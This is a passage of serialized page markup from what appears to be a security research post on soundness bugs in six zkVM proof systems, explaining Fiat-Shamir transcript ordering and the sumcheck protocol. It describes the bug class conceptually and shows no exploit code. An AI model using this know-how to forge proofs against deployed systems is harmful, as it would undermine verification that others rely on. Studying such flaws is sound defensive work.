",{"type":24,"tag":32,"props":109904,"children":109906},{"className":109905},[6368,6369],[109907],{"type":24,"tag":90,"props":109908,"children":109910},{"className":109909},[6374],[109911],{"type":24,"tag":90,"props":109912,"children":109914},{"className":109913,"ariaHidden":6380},[6379],[109915],{"type":24,"tag":90,"props":109916,"children":109918},{"className":109917},[6385],[109919,109923],{"type":24,"tag":90,"props":109920,"children":109922},{"className":109921,"style":23379},[6390],[],{"type":24,"tag":90,"props":109924,"children":109926},{"className":109925,"style":23385},[6396,23384],[109927],{"type":29,"value":1960},{"type":29,"value":109929}," such that:",{"type":24,"tag":25,"props":109931,"children":109932},{},[109933],{"type":24,"tag":32,"props":109934,"children":109936},{"className":109935},[6368,6369],[109937],{"type":24,"tag":90,"props":109938,"children":109940},{"className":109939},[6374],[109941],{"type":24,"tag":90,"props":109942,"children":109944},{"className":109943,"ariaHidden":6380},[6379],[109945,109989,110064],{"type":24,"tag":90,"props":109946,"children":109948},{"className":109947},[6385],[109949,109953,109959,109963,109968,109972,109976,109981,109985],{"type":24,"tag":90,"props":109950,"children":109952},{"className":109951,"style":94792},[6390],[],{"type":24,"tag":90,"props":109954,"children":109956},{"className":109955},[6396],[109957],{"type":29,"value":109958},"∃",{"type":24,"tag":90,"props":109960,"children":109962},{"className":109961,"style":6573},[6475],[],{"type":24,"tag":90,"props":109964,"children":109966},{"className":109965,"style":23385},[6396,23384],[109967],{"type":29,"value":1960},{"type":24,"tag":90,"props":109969,"children":109971},{"className":109970,"style":6573},[6475],[],{"type":24,"tag":90,"props":109973,"children":109975},{"className":109974,"style":6573},[6475],[],{"type":24,"tag":90,"props":109977,"children":109979},{"className":109978},[6578],[109980],{"type":29,"value":78},{"type":24,"tag":90,"props":109982,"children":109984},{"className":109983,"style":6573},[6475],[],{"type":24,"tag":90,"props":109986,"children":109988},{"className":109987,"style":6573},[6475],[],{"type":24,"tag":90,"props":109990,"children":109992},{"className":109991},[6385],[109993,109997,110008,110013,110018,110023,110027,110032,110037,110041,110046,110051,110055,110060],{"type":24,"tag":90,"props":109994,"children":109996},{"className":109995,"style":6496},[6390],[],{"type":24,"tag":90,"props":109998,"children":110000},{"className":109999},[6396],[110001],{"type":24,"tag":90,"props":110002,"children":110005},{"className":110003},[6396,110004],"mathsf",[110006],{"type":29,"value":110007},"VM",{"type":24,"tag":90,"props":110009,"children":110011},{"className":110010},[23513],[110012],{"type":29,"value":117},{"type":24,"tag":90,"props":110014,"children":110016},{"className":110015,"style":23385},[6396,23384],[110017],{"type":29,"value":23388},{"type":24,"tag":90,"props":110019,"children":110021},{"className":110020},[6507],[110022],{"type":29,"value":6510},{"type":24,"tag":90,"props":110024,"children":110026},{"className":110025,"style":6514},[6475],[],{"type":24,"tag":90,"props":110028,"children":110030},{"className":110029,"style":96897},[6396,23384],[110031],{"type":29,"value":8518},{"type":24,"tag":90,"props":110033,"children":110035},{"className":110034},[6507],[110036],{"type":29,"value":6510},{"type":24,"tag":90,"props":110038,"children":110040},{"className":110039,"style":6514},[6475],[],{"type":24,"tag":90,"props":110042,"children":110044},{"className":110043,"style":23385},[6396,23384],[110045],{"type":29,"value":1960},{"type":24,"tag":90,"props":110047,"children":110049},{"className":110048},[23535],[110050],{"type":29,"value":517},{"type":24,"tag":90,"props":110052,"children":110054},{"className":110053,"style":6573},[6475],[],{"type":24,"tag":90,"props":110056,"children":110058},{"className":110057},[6578],[110059],{"type":29,"value":24130},{"type":24,"tag":90,"props":110061,"children":110063},{"className":110062,"style":6573},[6475],[],{"type":24,"tag":90,"props":110065,"children":110067},{"className":110066},[6385],[110068,110072],{"type":24,"tag":90,"props":110069,"children":110071},{"className":110070,"style":23379},[6390],[],{"type":24,"tag":90,"props":110073,"children":110076},{"className":110074,"style":110075},[6396,23384],"margin-right:0.22222em;",[110077],{"type":29,"value":8548},{"type":24,"tag":25,"props":110079,"children":110080},{},[110081],{"type":29,"value":110082},"where:",{"type":24,"tag":3207,"props":110084,"children":110085},{},[110086,110116,110146,110176],{"type":24,"tag":3104,"props":110087,"children":110088},{},[110089,110114],{"type":24,"tag":32,"props":110090,"children":110092},{"className":110091},[6368,6369],[110093],{"type":24,"tag":90,"props":110094,"children":110096},{"className":110095},[6374],[110097],{"type":24,"tag":90,"props":110098,"children":110100},{"className":110099,"ariaHidden":6380},[6379],[110101],{"type":24,"tag":90,"props":110102,"children":110104},{"className":110103},[6385],[110105,110109],{"type":24,"tag":90,"props":110106,"children":110108},{"className":110107,"style":23379},[6390],[],{"type":24,"tag":90,"props":110110,"children":110112},{"className":110111,"style":23385},[6396,23384],[110113],{"type":29,"value":23388},{"type":29,"value":110115}," = program/circuit description (public)",{"type":24,"tag":3104,"props":110117,"children":110118},{},[110119,110144],{"type":24,"tag":32,"props":110120,"children":110122},{"className":110121},[6368,6369],[110123],{"type":24,"tag":90,"props":110124,"children":110126},{"className":110125},[6374],[110127],{"type":24,"tag":90,"props":110128,"children":110130},{"className":110129,"ariaHidden":6380},[6379],[110131],{"type":24,"tag":90,"props":110132,"children":110134},{"className":110133},[6385],[110135,110139],{"type":24,"tag":90,"props":110136,"children":110138},{"className":110137,"style":23379},[6390],[],{"type":24,"tag":90,"props":110140,"children":110142},{"className":110141,"style":96897},[6396,23384],[110143],{"type":29,"value":8518},{"type":29,"value":110145}," = public input",{"type":24,"tag":3104,"props":110147,"children":110148},{},[110149,110174],{"type":24,"tag":32,"props":110150,"children":110152},{"className":110151},[6368,6369],[110153],{"type":24,"tag":90,"props":110154,"children":110156},{"className":110155},[6374],[110157],{"type":24,"tag":90,"props":110158,"children":110160},{"className":110159,"ariaHidden":6380},[6379],[110161],{"type":24,"tag":90,"props":110162,"children":110164},{"className":110163},[6385],[110165,110169],{"type":24,"tag":90,"props":110166,"children":110168},{"className":110167,"style":23379},[6390],[],{"type":24,"tag":90,"props":110170,"children":110172},{"className":110171,"style":110075},[6396,23384],[110173],{"type":29,"value":8548},{"type":29,"value":110175}," = claimed public output",{"type":24,"tag":3104,"props":110177,"children":110178},{},[110179,110204],{"type":24,"tag":32,"props":110180,"children":110182},{"className":110181},[6368,6369],[110183],{"type":24,"tag":90,"props":110184,"children":110186},{"className":110185},[6374],[110187],{"type":24,"tag":90,"props":110188,"children":110190},{"className":110189,"ariaHidden":6380},[6379],[110191],{"type":24,"tag":90,"props":110192,"children":110194},{"className":110193},[6385],[110195,110199],{"type":24,"tag":90,"props":110196,"children":110198},{"className":110197,"style":23379},[6390],[],{"type":24,"tag":90,"props":110200,"children":110202},{"className":110201,"style":23385},[6396,23384],[110203],{"type":29,"value":1960},{"type":29,"value":110205}," = private witness/trace (registers, memory history, intermediate values)",{"type":24,"tag":25,"props":110207,"children":110208},{},[110209,110211,110215],{"type":29,"value":110210},"The verifier does ",{"type":24,"tag":7711,"props":110212,"children":110213},{},[110214],{"type":29,"value":5014},{"type":29,"value":110216}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":24,"tag":25,"props":110218,"children":110219},{},[110220,110222,110227],{"type":29,"value":110221},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":24,"tag":7711,"props":110223,"children":110224},{},[110225],{"type":29,"value":110226},"soundness",{"type":29,"value":78},{"type":24,"tag":3207,"props":110229,"children":110230},{},[110231,110241],{"type":24,"tag":3104,"props":110232,"children":110233},{},[110234,110239],{"type":24,"tag":7711,"props":110235,"children":110236},{},[110237],{"type":29,"value":110238},"Completeness",{"type":29,"value":110240},": honest execution verifies.",{"type":24,"tag":3104,"props":110242,"children":110243},{},[110244,110249],{"type":24,"tag":7711,"props":110245,"children":110246},{},[110247],{"type":29,"value":110248},"Soundness",{"type":29,"value":110250},": false execution should not verify.",{"type":24,"tag":25,"props":110252,"children":110253},{},[110254,110256,110260],{"type":29,"value":110255},"We are breaking ",{"type":24,"tag":7711,"props":110257,"children":110258},{},[110259],{"type":29,"value":110226},{"type":29,"value":110261}," in all six systems.",{"type":24,"tag":25,"props":110263,"children":110264},{},[110265],{"type":29,"value":110266},"In all six codebases, verification follows this abstract flow:",{"type":24,"tag":3100,"props":110268,"children":110269},{},[110270,110275,110280,110285,110290,110295],{"type":24,"tag":3104,"props":110271,"children":110272},{},[110273],{"type":29,"value":110274},"Fix public statement data.",{"type":24,"tag":3104,"props":110276,"children":110277},{},[110278],{"type":29,"value":110279},"Parse proof payload (commitments, reduction messages, openings).",{"type":24,"tag":3104,"props":110281,"children":110282},{},[110283],{"type":29,"value":110284},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":24,"tag":3104,"props":110286,"children":110287},{},[110288],{"type":29,"value":110289},"Check constraint equations at sampled points.",{"type":24,"tag":3104,"props":110291,"children":110292},{},[110293],{"type":29,"value":110294},"Check PCS/opening consistency.",{"type":24,"tag":3104,"props":110296,"children":110297},{},[110298],{"type":29,"value":110299},"Accept only if all checks are jointly consistent.",{"type":24,"tag":25,"props":110301,"children":110302},{},[110303],{"type":24,"tag":6301,"props":110304,"children":110307},{"alt":110305,"src":110306},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":24,"tag":25,"props":110309,"children":110310},{},[110311],{"type":29,"value":110312},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":24,"tag":20586,"props":110314,"children":110315},{},[],{"type":24,"tag":850,"props":110317,"children":110319},{"id":110318},"the-building-blocks",[110320],{"type":29,"value":110321},"The Building Blocks",{"type":24,"tag":25,"props":110323,"children":110324},{},[110325],{"type":29,"value":110326},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":24,"tag":1019,"props":110328,"children":110330},{"id":110329},"the-fiat-shamir-transform",[110331],{"type":29,"value":110332},"The Fiat-Shamir Transform",{"type":24,"tag":25,"props":110334,"children":110335},{},[110336],{"type":29,"value":110337},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":24,"tag":25,"props":110339,"children":110340},{},[110341],{"type":29,"value":110342},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":24,"tag":25,"props":110344,"children":110345},{},[110346],{"type":24,"tag":6301,"props":110347,"children":110350},{"alt":110348,"src":110349},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":24,"tag":25,"props":110352,"children":110353},{},[110354,110356,110360,110362,110367],{"type":29,"value":110355},"The hash (transcript) ",{"type":24,"tag":7711,"props":110357,"children":110358},{},[110359],{"type":29,"value":8904},{"type":29,"value":110361}," include everything that affects verification ",{"type":24,"tag":7711,"props":110363,"children":110364},{},[110365],{"type":29,"value":110366},"BEFORE",{"type":29,"value":110368}," the challenges derived from it are used.",{"type":24,"tag":25,"props":110370,"children":110371},{},[110372,110374,110400,110402,110427,110429,110454,110456,110481,110483,110508],{"type":29,"value":110373},"If some value ",{"type":24,"tag":32,"props":110375,"children":110377},{"className":110376},[6368,6369],[110378],{"type":24,"tag":90,"props":110379,"children":110381},{"className":110380},[6374],[110382],{"type":24,"tag":90,"props":110383,"children":110385},{"className":110384,"ariaHidden":6380},[6379],[110386],{"type":24,"tag":90,"props":110387,"children":110389},{"className":110388},[6385],[110390,110394],{"type":24,"tag":90,"props":110391,"children":110393},{"className":110392,"style":23379},[6390],[],{"type":24,"tag":90,"props":110395,"children":110397},{"className":110396,"style":110075},[6396,23384],[110398],{"type":29,"value":110399},"V",{"type":29,"value":110401}," affects a verification equation, but ",{"type":24,"tag":32,"props":110403,"children":110405},{"className":110404},[6368,6369],[110406],{"type":24,"tag":90,"props":110407,"children":110409},{"className":110408},[6374],[110410],{"type":24,"tag":90,"props":110411,"children":110413},{"className":110412,"ariaHidden":6380},[6379],[110414],{"type":24,"tag":90,"props":110415,"children":110417},{"className":110416},[6385],[110418,110422],{"type":24,"tag":90,"props":110419,"children":110421},{"className":110420,"style":23379},[6390],[],{"type":24,"tag":90,"props":110423,"children":110425},{"className":110424,"style":110075},[6396,23384],[110426],{"type":29,"value":110399},{"type":29,"value":110428}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":24,"tag":32,"props":110430,"children":110432},{"className":110431},[6368,6369],[110433],{"type":24,"tag":90,"props":110434,"children":110436},{"className":110435},[6374],[110437],{"type":24,"tag":90,"props":110438,"children":110440},{"className":110439,"ariaHidden":6380},[6379],[110441],{"type":24,"tag":90,"props":110442,"children":110444},{"className":110443},[6385],[110445,110449],{"type":24,"tag":90,"props":110446,"children":110448},{"className":110447,"style":23379},[6390],[],{"type":24,"tag":90,"props":110450,"children":110452},{"className":110451,"style":110075},[6396,23384],[110453],{"type":29,"value":110399},{"type":29,"value":110455},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":24,"tag":32,"props":110457,"children":110459},{"className":110458},[6368,6369],[110460],{"type":24,"tag":90,"props":110461,"children":110463},{"className":110462},[6374],[110464],{"type":24,"tag":90,"props":110465,"children":110467},{"className":110466,"ariaHidden":6380},[6379],[110468],{"type":24,"tag":90,"props":110469,"children":110471},{"className":110470},[6385],[110472,110476],{"type":24,"tag":90,"props":110473,"children":110475},{"className":110474,"style":23379},[6390],[],{"type":24,"tag":90,"props":110477,"children":110479},{"className":110478,"style":110075},[6396,23384],[110480],{"type":29,"value":110399},{"type":29,"value":110482},", which may allow it to choose ",{"type":24,"tag":32,"props":110484,"children":110486},{"className":110485},[6368,6369],[110487],{"type":24,"tag":90,"props":110488,"children":110490},{"className":110489},[6374],[110491],{"type":24,"tag":90,"props":110492,"children":110494},{"className":110493,"ariaHidden":6380},[6379],[110495],{"type":24,"tag":90,"props":110496,"children":110498},{"className":110497},[6385],[110499,110503],{"type":24,"tag":90,"props":110500,"children":110502},{"className":110501,"style":23379},[6390],[],{"type":24,"tag":90,"props":110504,"children":110506},{"className":110505,"style":110075},[6396,23384],[110507],{"type":29,"value":110399},{"type":29,"value":110509}," exactly so that the verification passes, even though it should not.",{"type":24,"tag":25,"props":110511,"children":110512},{},[110513],{"type":29,"value":110514},"This is the bug class we found in all six systems.",{"type":24,"tag":1019,"props":110516,"children":110518},{"id":110517},"the-sumcheck-protocol",[110519],{"type":29,"value":110520},"The Sumcheck Protocol",{"type":24,"tag":25,"props":110522,"children":110523},{},[110524,110526,110612],{"type":29,"value":110525},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":24,"tag":32,"props":110527,"children":110529},{"className":110528},[6368,6369],[110530],{"type":24,"tag":90,"props":110531,"children":110533},{"className":110532},[6374],[110534],{"type":24,"tag":90,"props":110535,"children":110537},{"className":110536,"ariaHidden":6380},[6379],[110538],{"type":24,"tag":90,"props":110539,"children":110541},{"className":110540},[6385],[110542,110546,110551,110556,110561,110565,110570],{"type":24,"tag":90,"props":110543,"children":110545},{"className":110544,"style":6496},[6390],[],{"type":24,"tag":90,"props":110547,"children":110549},{"className":110548},[23513],[110550],{"type":29,"value":78448},{"type":24,"tag":90,"props":110552,"children":110554},{"className":110553},[6396],[110555],{"type":29,"value":6408},{"type":24,"tag":90,"props":110557,"children":110559},{"className":110558},[6507],[110560],{"type":29,"value":6510},{"type":24,"tag":90,"props":110562,"children":110564},{"className":110563,"style":6514},[6475],[],{"type":24,"tag":90,"props":110566,"children":110568},{"className":110567},[6396],[110569],{"type":29,"value":534},{"type":24,"tag":90,"props":110571,"children":110573},{"className":110572},[23535],[110574,110579],{"type":24,"tag":90,"props":110575,"children":110577},{"className":110576},[23535],[110578],{"type":29,"value":35955},{"type":24,"tag":90,"props":110580,"children":110582},{"className":110581},[6412],[110583],{"type":24,"tag":90,"props":110584,"children":110586},{"className":110585},[6417],[110587],{"type":24,"tag":90,"props":110588,"children":110590},{"className":110589},[6422],[110591],{"type":24,"tag":90,"props":110592,"children":110595},{"className":110593,"style":110594},[6427],"height:0.6644em;",[110596],{"type":24,"tag":90,"props":110597,"children":110598},{"style":6431},[110599,110603],{"type":24,"tag":90,"props":110600,"children":110602},{"className":110601,"style":6437},[6436],[],{"type":24,"tag":90,"props":110604,"children":110606},{"className":110605},[6442,6443,6444,6445],[110607],{"type":24,"tag":90,"props":110608,"children":110610},{"className":110609},[6396,23384,6445],[110611],{"type":29,"value":58228},{"type":29,"value":110613},"), i.e the claim:",{"type":24,"tag":25,"props":110615,"children":110616},{},[110617],{"type":24,"tag":32,"props":110618,"children":110620},{"className":110619},[6368,6369],[110621],{"type":24,"tag":90,"props":110622,"children":110624},{"className":110623},[6374],[110625],{"type":24,"tag":90,"props":110626,"children":110628},{"className":110627,"ariaHidden":6380},[6379],[110629,110655],{"type":24,"tag":90,"props":110630,"children":110632},{"className":110631},[6385],[110633,110637,110642,110646,110651],{"type":24,"tag":90,"props":110634,"children":110636},{"className":110635,"style":23379},[6390],[],{"type":24,"tag":90,"props":110638,"children":110640},{"className":110639,"style":95111},[6396,23384],[110641],{"type":29,"value":95114},{"type":24,"tag":90,"props":110643,"children":110645},{"className":110644,"style":6573},[6475],[],{"type":24,"tag":90,"props":110647,"children":110649},{"className":110648},[6578],[110650],{"type":29,"value":5491},{"type":24,"tag":90,"props":110652,"children":110654},{"className":110653,"style":6573},[6475],[],{"type":24,"tag":90,"props":110656,"children":110658},{"className":110657},[6385],[110659,110663,110813,110817,110960,110964,110971,110975,111119,111123,111129,111134,111191,111196,111200,111257,111262,111266,111272,111276,111281,111285,111343],{"type":24,"tag":90,"props":110660,"children":110662},{"className":110661,"style":23415},[6390],[],{"type":24,"tag":90,"props":110664,"children":110666},{"className":110665},[23420],[110667,110673],{"type":24,"tag":90,"props":110668,"children":110670},{"className":110669,"style":23427},[23420,23425,23426],[110671],{"type":29,"value":110672},"∑",{"type":24,"tag":90,"props":110674,"children":110676},{"className":110675},[6412],[110677],{"type":24,"tag":90,"props":110678,"children":110680},{"className":110679},[6417,23438],[110681,110802],{"type":24,"tag":90,"props":110682,"children":110684},{"className":110683},[6422],[110685,110797],{"type":24,"tag":90,"props":110686,"children":110688},{"className":110687,"style":23447},[6427],[110689],{"type":24,"tag":90,"props":110690,"children":110691},{"style":23451},[110692,110696],{"type":24,"tag":90,"props":110693,"children":110695},{"className":110694,"style":6437},[6436],[],{"type":24,"tag":90,"props":110697,"children":110699},{"className":110698},[6442,6443,6444,6445],[110700],{"type":24,"tag":90,"props":110701,"children":110703},{"className":110702},[6396,6445],[110704,110767,110772,110777,110782,110787,110792],{"type":24,"tag":90,"props":110705,"children":110707},{"className":110706},[6396,6445],[110708,110713],{"type":24,"tag":90,"props":110709,"children":110711},{"className":110710},[6396,23384,6445],[110712],{"type":29,"value":21070},{"type":24,"tag":90,"props":110714,"children":110716},{"className":110715},[6412],[110717],{"type":24,"tag":90,"props":110718,"children":110720},{"className":110719},[6417,23438],[110721,110755],{"type":24,"tag":90,"props":110722,"children":110724},{"className":110723},[6422],[110725,110750],{"type":24,"tag":90,"props":110726,"children":110729},{"className":110727,"style":110728},[6427],"height:0.3173em;",[110730],{"type":24,"tag":90,"props":110731,"children":110733},{"style":110732},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[110734,110739],{"type":24,"tag":90,"props":110735,"children":110738},{"className":110736,"style":110737},[6436],"height:2.5em;",[],{"type":24,"tag":90,"props":110740,"children":110744},{"className":110741},[6442,110742,110743,6445],"reset-size3","size1",[110745],{"type":24,"tag":90,"props":110746,"children":110748},{"className":110747},[6396,6445],[110749],{"type":29,"value":534},{"type":24,"tag":90,"props":110751,"children":110753},{"className":110752},[23541],[110754],{"type":29,"value":23544},{"type":24,"tag":90,"props":110756,"children":110758},{"className":110757},[6422],[110759],{"type":24,"tag":90,"props":110760,"children":110763},{"className":110761,"style":110762},[6427],"height:0.143em;",[110764],{"type":24,"tag":90,"props":110765,"children":110766},{},[],{"type":24,"tag":90,"props":110768,"children":110770},{"className":110769},[6578,6445],[110771],{"type":29,"value":23491},{"type":24,"tag":90,"props":110773,"children":110775},{"className":110774},[23513,6445],[110776],{"type":29,"value":78448},{"type":24,"tag":90,"props":110778,"children":110780},{"className":110779},[6396,6445],[110781],{"type":29,"value":6408},{"type":24,"tag":90,"props":110783,"children":110785},{"className":110784},[6507,6445],[110786],{"type":29,"value":6510},{"type":24,"tag":90,"props":110788,"children":110790},{"className":110789},[6396,6445],[110791],{"type":29,"value":534},{"type":24,"tag":90,"props":110793,"children":110795},{"className":110794},[23535,6445],[110796],{"type":29,"value":35955},{"type":24,"tag":90,"props":110798,"children":110800},{"className":110799},[23541],[110801],{"type":29,"value":23544},{"type":24,"tag":90,"props":110803,"children":110805},{"className":110804},[6422],[110806],{"type":24,"tag":90,"props":110807,"children":110809},{"className":110808,"style":23552},[6427],[110810],{"type":24,"tag":90,"props":110811,"children":110812},{},[],{"type":24,"tag":90,"props":110814,"children":110816},{"className":110815,"style":6514},[6475],[],{"type":24,"tag":90,"props":110818,"children":110820},{"className":110819},[23420],[110821,110826],{"type":24,"tag":90,"props":110822,"children":110824},{"className":110823,"style":23427},[23420,23425,23426],[110825],{"type":29,"value":110672},{"type":24,"tag":90,"props":110827,"children":110829},{"className":110828},[6412],[110830],{"type":24,"tag":90,"props":110831,"children":110833},{"className":110832},[6417,23438],[110834,110949],{"type":24,"tag":90,"props":110835,"children":110837},{"className":110836},[6422],[110838,110944],{"type":24,"tag":90,"props":110839,"children":110841},{"className":110840,"style":23447},[6427],[110842],{"type":24,"tag":90,"props":110843,"children":110844},{"style":23451},[110845,110849],{"type":24,"tag":90,"props":110846,"children":110848},{"className":110847,"style":6437},[6436],[],{"type":24,"tag":90,"props":110850,"children":110852},{"className":110851},[6442,6443,6444,6445],[110853],{"type":24,"tag":90,"props":110854,"children":110856},{"className":110855},[6396,6445],[110857,110914,110919,110924,110929,110934,110939],{"type":24,"tag":90,"props":110858,"children":110860},{"className":110859},[6396,6445],[110861,110866],{"type":24,"tag":90,"props":110862,"children":110864},{"className":110863},[6396,23384,6445],[110865],{"type":29,"value":21070},{"type":24,"tag":90,"props":110867,"children":110869},{"className":110868},[6412],[110870],{"type":24,"tag":90,"props":110871,"children":110873},{"className":110872},[6417,23438],[110874,110903],{"type":24,"tag":90,"props":110875,"children":110877},{"className":110876},[6422],[110878,110898],{"type":24,"tag":90,"props":110879,"children":110881},{"className":110880,"style":110728},[6427],[110882],{"type":24,"tag":90,"props":110883,"children":110884},{"style":110732},[110885,110889],{"type":24,"tag":90,"props":110886,"children":110888},{"className":110887,"style":110737},[6436],[],{"type":24,"tag":90,"props":110890,"children":110892},{"className":110891},[6442,110742,110743,6445],[110893],{"type":24,"tag":90,"props":110894,"children":110896},{"className":110895},[6396,6445],[110897],{"type":29,"value":3191},{"type":24,"tag":90,"props":110899,"children":110901},{"className":110900},[23541],[110902],{"type":29,"value":23544},{"type":24,"tag":90,"props":110904,"children":110906},{"className":110905},[6422],[110907],{"type":24,"tag":90,"props":110908,"children":110910},{"className":110909,"style":110762},[6427],[110911],{"type":24,"tag":90,"props":110912,"children":110913},{},[],{"type":24,"tag":90,"props":110915,"children":110917},{"className":110916},[6578,6445],[110918],{"type":29,"value":23491},{"type":24,"tag":90,"props":110920,"children":110922},{"className":110921},[23513,6445],[110923],{"type":29,"value":78448},{"type":24,"tag":90,"props":110925,"children":110927},{"className":110926},[6396,6445],[110928],{"type":29,"value":6408},{"type":24,"tag":90,"props":110930,"children":110932},{"className":110931},[6507,6445],[110933],{"type":29,"value":6510},{"type":24,"tag":90,"props":110935,"children":110937},{"className":110936},[6396,6445],[110938],{"type":29,"value":534},{"type":24,"tag":90,"props":110940,"children":110942},{"className":110941},[23535,6445],[110943],{"type":29,"value":35955},{"type":24,"tag":90,"props":110945,"children":110947},{"className":110946},[23541],[110948],{"type":29,"value":23544},{"type":24,"tag":90,"props":110950,"children":110952},{"className":110951},[6422],[110953],{"type":24,"tag":90,"props":110954,"children":110956},{"className":110955,"style":23552},[6427],[110957],{"type":24,"tag":90,"props":110958,"children":110959},{},[],{"type":24,"tag":90,"props":110961,"children":110963},{"className":110962,"style":6514},[6475],[],{"type":24,"tag":90,"props":110965,"children":110968},{"className":110966},[110967],"minner",[110969],{"type":29,"value":110970},"⋯",{"type":24,"tag":90,"props":110972,"children":110974},{"className":110973,"style":6514},[6475],[],{"type":24,"tag":90,"props":110976,"children":110978},{"className":110977},[23420],[110979,110984],{"type":24,"tag":90,"props":110980,"children":110982},{"className":110981,"style":23427},[23420,23425,23426],[110983],{"type":29,"value":110672},{"type":24,"tag":90,"props":110985,"children":110987},{"className":110986},[6412],[110988],{"type":24,"tag":90,"props":110989,"children":110991},{"className":110990},[6417,23438],[110992,111108],{"type":24,"tag":90,"props":110993,"children":110995},{"className":110994},[6422],[110996,111103],{"type":24,"tag":90,"props":110997,"children":110999},{"className":110998,"style":23447},[6427],[111000],{"type":24,"tag":90,"props":111001,"children":111002},{"style":23451},[111003,111007],{"type":24,"tag":90,"props":111004,"children":111006},{"className":111005,"style":6437},[6436],[],{"type":24,"tag":90,"props":111008,"children":111010},{"className":111009},[6442,6443,6444,6445],[111011],{"type":24,"tag":90,"props":111012,"children":111014},{"className":111013},[6396,6445],[111015,111073,111078,111083,111088,111093,111098],{"type":24,"tag":90,"props":111016,"children":111018},{"className":111017},[6396,6445],[111019,111024],{"type":24,"tag":90,"props":111020,"children":111022},{"className":111021},[6396,23384,6445],[111023],{"type":29,"value":21070},{"type":24,"tag":90,"props":111025,"children":111027},{"className":111026},[6412],[111028],{"type":24,"tag":90,"props":111029,"children":111031},{"className":111030},[6417,23438],[111032,111062],{"type":24,"tag":90,"props":111033,"children":111035},{"className":111034},[6422],[111036,111057],{"type":24,"tag":90,"props":111037,"children":111040},{"className":111038,"style":111039},[6427],"height:0.1645em;",[111041],{"type":24,"tag":90,"props":111042,"children":111043},{"style":110732},[111044,111048],{"type":24,"tag":90,"props":111045,"children":111047},{"className":111046,"style":110737},[6436],[],{"type":24,"tag":90,"props":111049,"children":111051},{"className":111050},[6442,110742,110743,6445],[111052],{"type":24,"tag":90,"props":111053,"children":111055},{"className":111054},[6396,23384,6445],[111056],{"type":29,"value":58228},{"type":24,"tag":90,"props":111058,"children":111060},{"className":111059},[23541],[111061],{"type":29,"value":23544},{"type":24,"tag":90,"props":111063,"children":111065},{"className":111064},[6422],[111066],{"type":24,"tag":90,"props":111067,"children":111069},{"className":111068,"style":110762},[6427],[111070],{"type":24,"tag":90,"props":111071,"children":111072},{},[],{"type":24,"tag":90,"props":111074,"children":111076},{"className":111075},[6578,6445],[111077],{"type":29,"value":23491},{"type":24,"tag":90,"props":111079,"children":111081},{"className":111080},[23513,6445],[111082],{"type":29,"value":78448},{"type":24,"tag":90,"props":111084,"children":111086},{"className":111085},[6396,6445],[111087],{"type":29,"value":6408},{"type":24,"tag":90,"props":111089,"children":111091},{"className":111090},[6507,6445],[111092],{"type":29,"value":6510},{"type":24,"tag":90,"props":111094,"children":111096},{"className":111095},[6396,6445],[111097],{"type":29,"value":534},{"type":24,"tag":90,"props":111099,"children":111101},{"className":111100},[23535,6445],[111102],{"type":29,"value":35955},{"type":24,"tag":90,"props":111104,"children":111106},{"className":111105},[23541],[111107],{"type":29,"value":23544},{"type":24,"tag":90,"props":111109,"children":111111},{"className":111110},[6422],[111112],{"type":24,"tag":90,"props":111113,"children":111115},{"className":111114,"style":23552},[6427],[111116],{"type":24,"tag":90,"props":111117,"children":111118},{},[],{"type":24,"tag":90,"props":111120,"children":111122},{"className":111121,"style":6514},[6475],[],{"type":24,"tag":90,"props":111124,"children":111126},{"className":111125,"style":95363},[6396,23384],[111127],{"type":29,"value":111128},"g",{"type":24,"tag":90,"props":111130,"children":111132},{"className":111131},[23513],[111133],{"type":29,"value":117},{"type":24,"tag":90,"props":111135,"children":111137},{"className":111136},[6396],[111138,111143],{"type":24,"tag":90,"props":111139,"children":111141},{"className":111140},[6396,23384],[111142],{"type":29,"value":21070},{"type":24,"tag":90,"props":111144,"children":111146},{"className":111145},[6412],[111147],{"type":24,"tag":90,"props":111148,"children":111150},{"className":111149},[6417,23438],[111151,111180],{"type":24,"tag":90,"props":111152,"children":111154},{"className":111153},[6422],[111155,111175],{"type":24,"tag":90,"props":111156,"children":111158},{"className":111157,"style":94929},[6427],[111159],{"type":24,"tag":90,"props":111160,"children":111161},{"style":94933},[111162,111166],{"type":24,"tag":90,"props":111163,"children":111165},{"className":111164,"style":6437},[6436],[],{"type":24,"tag":90,"props":111167,"children":111169},{"className":111168},[6442,6443,6444,6445],[111170],{"type":24,"tag":90,"props":111171,"children":111173},{"className":111172},[6396,6445],[111174],{"type":29,"value":534},{"type":24,"tag":90,"props":111176,"children":111178},{"className":111177},[23541],[111179],{"type":29,"value":23544},{"type":24,"tag":90,"props":111181,"children":111183},{"className":111182},[6422],[111184],{"type":24,"tag":90,"props":111185,"children":111187},{"className":111186,"style":94960},[6427],[111188],{"type":24,"tag":90,"props":111189,"children":111190},{},[],{"type":24,"tag":90,"props":111192,"children":111194},{"className":111193},[6507],[111195],{"type":29,"value":6510},{"type":24,"tag":90,"props":111197,"children":111199},{"className":111198,"style":6514},[6475],[],{"type":24,"tag":90,"props":111201,"children":111203},{"className":111202},[6396],[111204,111209],{"type":24,"tag":90,"props":111205,"children":111207},{"className":111206},[6396,23384],[111208],{"type":29,"value":21070},{"type":24,"tag":90,"props":111210,"children":111212},{"className":111211},[6412],[111213],{"type":24,"tag":90,"props":111214,"children":111216},{"className":111215},[6417,23438],[111217,111246],{"type":24,"tag":90,"props":111218,"children":111220},{"c